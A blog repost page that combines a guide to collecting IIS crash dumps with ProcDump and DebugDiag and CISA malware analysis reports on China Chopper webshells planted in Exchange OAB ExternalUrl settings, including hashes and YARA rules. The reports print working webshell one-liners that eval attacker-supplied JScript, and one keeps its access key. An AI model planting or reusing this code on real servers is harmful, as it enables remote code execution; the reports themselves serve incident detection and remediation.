by Contributed | Mar 25, 2021 | Technology
This article is contributed. See the original author and article here.
The following two procedures guide on how to properly collect a memory dump to study a process crash. This post complements my article about how exceptions are handled and how to collect memory dumps to study them.
Both tools below – ProcDump and DebugDiag – work similarly: they can attach themselves as debuggers to a process, then monitor and log exceptions for that process. Optionally, these tools can collect a memory dump for the monitored process under certain conditions – such as when specific exceptions occur.
Both tools need administrative rights to be run.
DebugDiag is the preferred tool, since it automates some steps, adds more explicit context, and includes automated memory dump analysis capabilities too.
Using the command-line ProcDump
ProcDump does not require installation. But one needs to be specific about the PID to which it is attaching. That PID needs to be determined prior to starting ProcDump. This may be tricky then the respective process is crashing and restarting frequently, with a different PID; such as when Asp.Net apps are causing their w3wp.exe to crash and restart. If the w3wp.exe is crashing very fast, then it is advisable to use the DebugDiag method.
- Download the tool and copy it on a disk folder, for example D:Temp-Dumps
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
- Open an administrative console from where to run commands.
Navigate to the disk folder above (D:Temp-Dumps).
- Find the process ID, the PID, of the IIS w3wp.exe worker process executing your application.
Use the AppCmd IIS tool to list processes for application pools:
C:WindowsSystem32InetSrvappcmd.exe list wp
- Execute the following command to collect dump(s):
D:Temp-Dumps> procdump.exe -accepteula -ma -e [PID]
You may want to redirect the console output of ProcDump to a file, to persist the recording of the encountered exceptions:
D:Temp-Dumps> procdump.exe -accepteula -ma -e [PID] > Monitoring-log.txt
Replace [PID] with the actual Process ID integer number identified at the step 2.
Please make sure that there is enough disk space on the drive where dumps are collected. Each process dump will take space in the disk approximately the same size the process uses in memory, as seen in Task Manager. For example, if the process’ memory usage is ~1 GB, then the size of a dump file will be around 1 GB.
- Start reproducing the problem: issue a request from the client (browser) that you know it would trigger the exception/crash.
Or simply wait or make requests to the IIS/Asp.Net app until the exception/crash occurs.
You should end up with a memory dump file (.DMP) in the location where ProcDump.exe was saved (example: D:Temp-Dumps).
- Compress the dump file(s) – .DMP – before uploading them to share for analysis.
Using the UI tool DebugDiag, Debug Diagnostics Collection
DebugDiag requires installation, but it is able to determine itself the whatever process instance – PID – happens to execute for an application pool at any point in time; even when that process may occasionally crash, hence restart with different PID. Data collected by DebugDiag is richer: along with the dump, we get a monitoring (txt) log with all other exceptions that occurred in the process.
1.
Download Debug Diagnostic and install it on IIS machine:
https://www.microsoft.com/en-us/download/details.aspx?id=49924 v2.2
https://www.microsoft.com/en-us/download/details.aspx?id=58210 v2.3
https://www.microsoft.com/en-us/download/details.aspx?id=102635 v2.3.1
2.
Open Debug Diagnostic Collection.
If a wizard does not show up, click Add Rule.
3.
Choose Crash and click next.

4.
Choose “A specific IIS web application pool” and Next.

5.
Select the application pool which runs the problematic application and then click Next.

6.
Lower the Maximum number of userdumps created by the rule to 3 (up to 5; there is no need to collect more).
Leave the Exceptions/Breakpoints/Events alone; don’t add any.

7.
Click Next and then configure the file location where the dump file(s) will be generated.
Please note that a dump file is a snapshot of the process memory, written in disk; size will be similar to process memory as seen in the Task Manager.
For example, if you see that w3wp.exe uses around 5 GB of memory in Task Manager, then the dump of that process will be around 5 GB on the disk; if you multiply by number of dumps, then… choose a disk with enough free space.
Do not choose a disk in network/UNC; choose a local disk.

8.
Click Next, select to Activate the rule now, and then Finish.
When a second-chance crashing exception is logged, a dump file should be created in the user dump location selected above.
Before sharing the dump file(s) for analysis, ZIP: it should greatly reduce the size (more than 5 times).
If several .DMP files are generated, then ZIP each collected dump individually; trust me, it’s better this way when uploading/downloading.
If we don’t get dumps, then we probably don’t have a crash. Remember my article about how exceptions are handled and how to collect memory dumps to study them. We can double check if a crash occurred or not: read about w3wp.exe crashes.
by Scott Muniz | Mar 25, 2021 | Security, Technology
This article is contributed. See the original author and article here.
Malware Analysis Report
10329499.r1.v1
2021-03-19
Notification
This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.
This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.
Summary
Description
CISA received a unique file for analysis. This file appears to contain configuration data for Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. The output file shows malicious modifications for the ExternalUrl parameter. In the OAB VD, the ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.
For a downloadable copy of IOCs, see: MAR-10329499-1.v1.stix.
Submitted Files (1)
4e08ba96ca8fc7f2f8347eef22a972de0d6886a51201ddc604195ba8d0bfb54a (xu78pK4y.aspx)
Findings
4e08ba96ca8fc7f2f8347eef22a972de0d6886a51201ddc604195ba8d0bfb54a
Tags
trojanwebshell
Details
| Name |
xu78pK4y.aspx |
| Size |
2316 bytes |
| Type |
HTML document, ASCII text, with CRLF line terminators |
| MD5 |
afbfed6574525ea2ae65cd2c208c90b2 |
| SHA1 |
1bcebe533fcc4d0e8c55e266711d00d2bf14eb04 |
| SHA256 |
4e08ba96ca8fc7f2f8347eef22a972de0d6886a51201ddc604195ba8d0bfb54a |
| SHA512 |
651b5a6896a8e0167aeb13614b91c263c0bd286cda1fcd11918b98256cc237cd2ada4d357a28682e597a1107c438dfca55454c0a622e126f3752c80504e1d726 |
| ssdeep |
48:k6gDrdJG2O1BcWg6KIPQZnbhlyaEN4ONF0qAlU:kX3dpOhHYHi3NCqAlU |
| Entropy |
4.637868 |
Antivirus
| Ahnlab |
Exploit/ASP.Cve-2021-27065.S1406 |
| Avira |
EXP/CVE-2021-27065.1 |
| BitDefender |
Generic.ASP.WebShell.H.D0E71D53 |
| ClamAV |
Asp.Trojan.Webshell0321-9840176-0 |
| Emsisoft |
Generic.ASP.WebShell.H.D0E71D53 (B) |
| Ikarus |
Exploit.ASP.CVE-2021-27065 |
| Lavasoft |
Generic.ASP.WebShell.H.D0E71D53 |
| McAfee |
Exploit-CVE2021-27065.a |
| Microsoft Security Essentials |
Exploit:ASP/CVE-2021-27065 |
| Quick Heal |
CVE-2021-26855.Webshll.41350 |
| Sophos |
Troj/WebShel-L |
| Symantec |
Trojan.Chinchop |
| TrendMicro |
Backdoo.DDEA7357 |
| TrendMicro House Call |
Backdoo.DDEA7357 |
YARA Rules
- rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10328929”
Date = “2021-03-17”
Last_Modified = “20210317_2200”
Actor = “n/a”
Category = “Trojan WebShell Exploit CVE-2021-27065”
Family = “HAFNIUM”
Description = “Detects CVE-2021-27065 Webshellz”
MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
strings:
$s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1 = { 65 76 61 6C 28 }
$s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
$s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
- rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10328929”
Date = “2021-03-17”
Last_Modified = “20210317_2200”
Actor = “n/a”
Category = “Trojan WebShell Exploit CVE-2021-27065”
Family = “HAFNIUM”
Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
strings:
$s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
$s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}
ssdeep Matches
No matches found.
Description
This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.
In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:
–Begin webshell–
http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End webshell–
Note: The hard-coded key used for authentication was redacted from the code above.
The code within the file decodes and executes data using the JavaScript “eval” function. The requested encoded data was not available for analysis.
This file contains the following configuration data (sensitive data was redacted):
–Begin configuration–
Name : OAB (Default Web Site)
PollInterval : 480
OfflineAddressBooks : Default Offline Address Book (Ex2012)
RequireSSL : True
BasicAuthentication : False
WindowsAuthentication : True
OAuthAuthentication : True
MetabasePath : IIS[:]//MAIL.[REDACTED].ORG/W3SVC/1/ROOT/OAB
Path : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags :
ExtendedProtectionSPNList :
AdminDisplayVersion : Version 15.0 (Build 1497.2)
Server : MAIL
InternalUrl : hxxp[:]//mail.[REDACTED].org/OAB
InternalAuthenticationMethods : OAuth
WindowsIntegrated
ExternalUrl : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“NO9BxmCXw0JE”],”unsafe”);}</script>
ExternalAuthenticationMethods : OAuth
WindowsIntegrated
AdminDisplayName :
ExchangeVersion : 0.10 (14.0.100.0)
DistinguishedName : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=MAIL,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=WMEL,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=ORG
Identity : MAILOAB (Default Web Site)
Guid : 8c65a00a-7a8f-42fd-acd9-f5e0003f0b0c
ObjectCategory : [REDACTED].ORG/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass : top
msExchVirtualDirectory
msExchOABVirtualDirectory
WhenChanged : 3/2/2021 8:40:49 AM
WhenCreated : 5/3/2016 10:38:06 AM
WhenChangedUTC : 3/2/2021 1:40:49 PM
WhenCreatedUTC : 5/3/2016 2:38:06 PM
OrganizationId :
Id : MAILOAB (Default Web Site)
OriginatingServer : CH-DC1.[REDACTED].ORG
IsValid : True
–End configuration–
Mitigation
If you find this webshell as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.
Recommendations
CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
- Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.
Contact Information
CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/
Document FAQ
What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.
Can I submit malware to CISA? Malware samples can be submitted via three methods:
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.
by Scott Muniz | Mar 25, 2021 | Security, Technology
This article is contributed. See the original author and article here.
Malware Analysis Report
10329496.r1.v1
2021-03-19
Notification
This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.
This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.
Summary
Description
CISA received three unique files for analysis. These files appear to contain configuration data for three Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD). The files show malicious modifications for the ExternalUrl parameter for the OAB VDs in the targeted Exchange Servers. The ExternalUrl parameter contains a variant of the “China Chopper” webshell, which may permit a remote operator to dynamically execute JavaScript code on the compromised server.
For a downloadable copy of IOCs, see: MAR-10329496-1.v1.stix.
Submitted Files (3)
2e1eb00575e1a8f6c95a23c87b05e23eb4718557f787aa905bb000e98b31c5f0 (discover.aspx)
695d4a81ce526a136351cd8eeba5c452d0ab79438fe467922a0bd61db87cef93 (supp0rt.aspx)
b67a11f17434f5ee501cc1d2acab2da14ae8dfc5a27dc00bbd7652425d5c3d23 (shell.aspx)
Findings
695d4a81ce526a136351cd8eeba5c452d0ab79438fe467922a0bd61db87cef93
Tags
backdoortrojanwebshell
Details
| Name |
supp0rt.aspx |
| Size |
2318 bytes |
| Type |
HTML document, ASCII text, with CRLF line terminators |
| MD5 |
77318f5e9fc9b143a7877d7db5fe1002 |
| SHA1 |
b6b0bc7c2552d999b5cece361c37228f811c2d23 |
| SHA256 |
695d4a81ce526a136351cd8eeba5c452d0ab79438fe467922a0bd61db87cef93 |
| SHA512 |
a060930cfadbe5565d874ca57b871fe4988ae58ad6a14b9356bcccdf35b3cd03ea523e53aa20e5c6e19f8a7a92efa52cd54fffa41444b004a619e769938ce727 |
| ssdeep |
48:kNrdeG1BO0vEsFkQaM5QZXh6t84ONF0qx:ktdeGpvEsWQVONCqx |
| Entropy |
4.764649 |
Antivirus
| Ahnlab |
Exploit/ASP.Cve-2021-27065.S1406 |
| Avira |
EXP/CVE-2021-27065.1 |
| BitDefender |
Generic.ASP.WebShell.I.3153A114 |
| ClamAV |
Asp.Trojan.Webshell0321-9840173-0 |
| Emsisoft |
Generic.ASP.WebShell.I.3153A114 (B) |
| Ikarus |
Exploit.ASP.CVE-2021-27065 |
| Lavasoft |
Generic.ASP.WebShell.I.3153A114 |
| McAfee |
Exploit-CVE2021-27065.a |
| Microsoft Security Essentials |
Exploit:ASP/CVE-2021-27065.B!dha |
| Quick Heal |
CVE-2021-26855.Webshll.41381 |
| Sophos |
Troj/WebShel-O |
| Symantec |
Trojan.Chinchop |
| TrendMicro |
Backdoo.DDEA7357 |
| TrendMicro House Call |
Backdoo.DDEA7357 |
YARA Rules
- rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10328929”
Date = “2021-03-17”
Last_Modified = “20210317_2200”
Actor = “n/a”
Category = “Trojan WebShell Exploit CVE-2021-27065”
Family = “HAFNIUM”
Description = “Detects CVE-2021-27065 Webshellz”
MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
strings:
$s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1 = { 65 76 61 6C 28 }
$s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
$s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
- rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10328929”
Date = “2021-03-17”
Last_Modified = “20210317_2200”
Actor = “n/a”
Category = “Trojan WebShell Exploit CVE-2021-27065”
Family = “HAFNIUM”
Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
strings:
$s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
$s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}
ssdeep Matches
No matches found.
Description
This file is an OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a variant of the “China Chopper” webshell that is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange server.
In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:
—Begin Code—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“81b78f301d7476b2f6cd8442e572e5e5″])),”unsafe”);}</script>
—End Code—
This file contains the following configuration data (sensitive data was redacted):
—Begin Configuration For Compromised OAB VD—
Name : OAB (Default Web Site)
PollInterval : 480
OfflineAddressBooks :
RequireSSL : True
BasicAuthentication : False
WindowsAuthentication : True
OAuthAuthentication : False
MetabasePath : IIS://EXCHANGE2013.REDACTED.local/W3SVC/1/ROOT/OAB
Path : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags :
ExtendedProtectionSPNList :
AdminDisplayVersion : Version 15.0 (Build 1347.2)
Server : EXCHANGE2013
InternalUrl : hxxps[:]//exchange2013.REDACTED.local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“81b78f301d7476b2f6cd8442e572e5e5″])),”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName :
ExchangeVersion : 0.10 (14.0.100.0)
DistinguishedName : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=EXCHANGE2013,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=REDACTED,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=local
Identity : EXCHANGE2013OAB (Default Web Site)
Guid : be693b93-97dd-4440-a21d-b8c7dd6fa764
ObjectCategory : REDACTED.local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass : top
msExchVirtualDirectory
msExchOABVirtualDirectory
WhenChanged : 3/5/2021 10:36:49 AM
WhenCreated : 3/2/2021 6:41:34 PM
WhenChangedUTC : 3/5/2021 3:36:49 PM
WhenCreatedUTC : 3/2/2021 11:41:34 PM
OrganizationId :
Id : EXCHANGE2013OAB (Default Web Site)
OriginatingServer : DC2.REDACTED.local
IsValid : True
—End Configuration For Compromised OAB VD—
b67a11f17434f5ee501cc1d2acab2da14ae8dfc5a27dc00bbd7652425d5c3d23
Tags
backdoortrojanwebshell
Details
| Name |
shell.aspx |
| Size |
2356 bytes |
| Type |
HTML document, ASCII text, with CRLF line terminators |
| MD5 |
f88faa6206a64bba867f62b435e89f93 |
| SHA1 |
cbae4913e74da487217f4bee1964482b9c382ad1 |
| SHA256 |
b67a11f17434f5ee501cc1d2acab2da14ae8dfc5a27dc00bbd7652425d5c3d23 |
| SHA512 |
f2644beb27033cb0ce2ef4dff4dc7878357d2e3ecf3bd9d61eaf75613cf2343d7ebcbb81015d944e0f0089dbcf9b6b2450223f24c9a82b707f74fa62a0e7986e |
| ssdeep |
48:k/GDrdlNCVBfB67/IPQZthCcsw4ONF0qh:ke3deL07OcfNCqh |
| Entropy |
4.647766 |
Antivirus
| Ahnlab |
Exploit/ASP.Cve-2021-27065.S1406 |
| Avira |
EXP/CVE-2021-27065.1 |
| BitDefender |
Generic.ASP.WebShell.H.E7D48A2A |
| ClamAV |
Asp.Trojan.Webshell0321-9840176-0 |
| Emsisoft |
Generic.ASP.WebShell.H.E7D48A2A (B) |
| Ikarus |
Exploit.ASP.CVE-2021-27065 |
| Lavasoft |
Generic.ASP.WebShell.H.E7D48A2A |
| McAfee |
Exploit-CVE2021-27065.a |
| Microsoft Security Essentials |
Exploit:ASP/CVE-2021-27065 |
| Quick Heal |
CVE-2021-26855.Webshll.41350 |
| Sophos |
Troj/WebShel-L |
| Symantec |
Trojan.Chinchop |
| TrendMicro |
Backdoo.DDEA7357 |
| TrendMicro House Call |
Backdoo.DDEA7357 |
YARA Rules
- rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10328929”
Date = “2021-03-17”
Last_Modified = “20210317_2200”
Actor = “n/a”
Category = “Trojan WebShell Exploit CVE-2021-27065”
Family = “HAFNIUM”
Description = “Detects CVE-2021-27065 Webshellz”
MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
strings:
$s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1 = { 65 76 61 6C 28 }
$s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
$s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
- rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10328929”
Date = “2021-03-17”
Last_Modified = “20210317_2200”
Actor = “n/a”
Category = “Trojan WebShell Exploit CVE-2021-27065”
Family = “HAFNIUM”
Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
strings:
$s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
$s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}
ssdeep Matches
No matches found.
Description
This file is an OAB configuration file. The Microsoft Exchange OAB virtual directory is utilized to access Microsoft Exchange offline address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a variant of the “China Chopper” webshell, which is likely an attempt to gain unauthorized access for dynamic remote code execution against the targeted Exchange server. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB virtual directory containing JavaScript code that can be executed on the target system.
In this file, the ExternalUrl designation that normally specifies the URL used to connect to the virtual directory from outside the firewall has been replaced with the following code:
—Begin Code—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
—End Code—
Note: The hard-coded key used for authentication was redacted from the code above.
This file contains the following configuration data (sensitive data was redacted):
Name : OAB (Default Web Site)
PollInterval : 480
OfflineAddressBooks : Default Offline Address List (Ex2012)
RequireSSL : True
BasicAuthentication : False
WindowsAuthentication : True
OAuthAuthentication : True
MetabasePath : IIS://[REDACTED]EXCHANGE.REDACTED.us/W3SVC/1/ROOT/OAB
Path : E:Program FilesMicrosoftExchange serverV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags :
ExtendedProtectionSPNList :
AdminDisplayVersion : Version 15.2 (Build 595.3)
Server : [REDACTED]EXCHANGE
InternalUrl : hxxps[:]//webmail.REDACTED.us/OAB
InternalAuthenticationMethods : OAuth
WindowsIntegrated
ExternalUrl : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>ExternalAuthenticationMethods : OAuth
WindowsIntegrated
AdminDisplayName :
ExchangeVersion : 0.10 (14.0.100.0)
DistinguishedName : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED]EXCHANGE,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=REDACTED,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=XXX,DC=XX,DC=us
Identity : [REDACTED]EXCHANGEOAB (Default Web Site)
Guid : e5b25844-34da-4b54-a4f4-0ef2d1083223
ObjectCategory : REDACTED.us/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass : top
msExchVirtualDirectory
msExchOABVirtualDirectory
WhenChanged : 3/4/2021 4:56:45 AM
WhenCreated : 3/6/2020 1:18:06 PM
WhenChangedUTC : 3/4/2021 9:56:45 AM
WhenCreatedUTC : 3/6/2020 6:18:06 PM
OrganizationId :
Id : [REDACTED]EXCHANGEOAB (Default Web Site)
OriginatingServer : REDACTED.us
IsValid : True
2e1eb00575e1a8f6c95a23c87b05e23eb4718557f787aa905bb000e98b31c5f0
Tags
backdoortrojanwebshell
Details
| Name |
discover.aspx |
| Size |
2300 bytes |
| Type |
HTML document, ASCII text, with CRLF line terminators |
| MD5 |
dd047e0a44ae22e6c68163e2e70f6a14 |
| SHA1 |
c9e1f5af069c2ee83657299f9cec1181d1045716 |
| SHA256 |
2e1eb00575e1a8f6c95a23c87b05e23eb4718557f787aa905bb000e98b31c5f0 |
| SHA512 |
b598820abb1d08061796d1cc6576f935f408ec69b22cc87e94bd6e5248d9699df3ad9c2767e6b70f1e753e0e0195d6df70c340c677f8a92f051e0d3307179430 |
| ssdeep |
48:k6DrdDdBgm6oIPQZJbhGlpoK4ONF0qsbBMv:kWdA9sYlpLNCqsbBMv |
| Entropy |
4.571273 |
Antivirus
| Ahnlab |
Exploit/ASP.Cve-2021-27065.S1406 |
| Avira |
EXP/CVE-2021-27065.1 |
| BitDefender |
Generic.ASP.WebShell.H.13A3EBC8 |
| ClamAV |
Asp.Trojan.Webshell0321-9840176-0 |
| Emsisoft |
Generic.ASP.WebShell.H.13A3EBC8 (B) |
| Ikarus |
Exploit.ASP.CVE-2021-27065 |
| Lavasoft |
Generic.ASP.WebShell.H.13A3EBC8 |
| McAfee |
Exploit-CVE2021-27065.a |
| Microsoft Security Essentials |
Exploit:ASP/CVE-2021-27065 |
| Quick Heal |
CVE-2021-26855.Webshll.41381 |
| Sophos |
Troj/WebShel-L |
| Symantec |
Trojan.Chinchop |
| TrendMicro |
Backdoo.DDEA7357 |
| TrendMicro House Call |
Backdoo.DDEA7357 |
YARA Rules
- rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10328929”
Date = “2021-03-17”
Last_Modified = “20210317_2200”
Actor = “n/a”
Category = “Trojan WebShell Exploit CVE-2021-27065”
Family = “HAFNIUM”
Description = “Detects CVE-2021-27065 Webshellz”
MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
strings:
$s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1 = { 65 76 61 6C 28 }
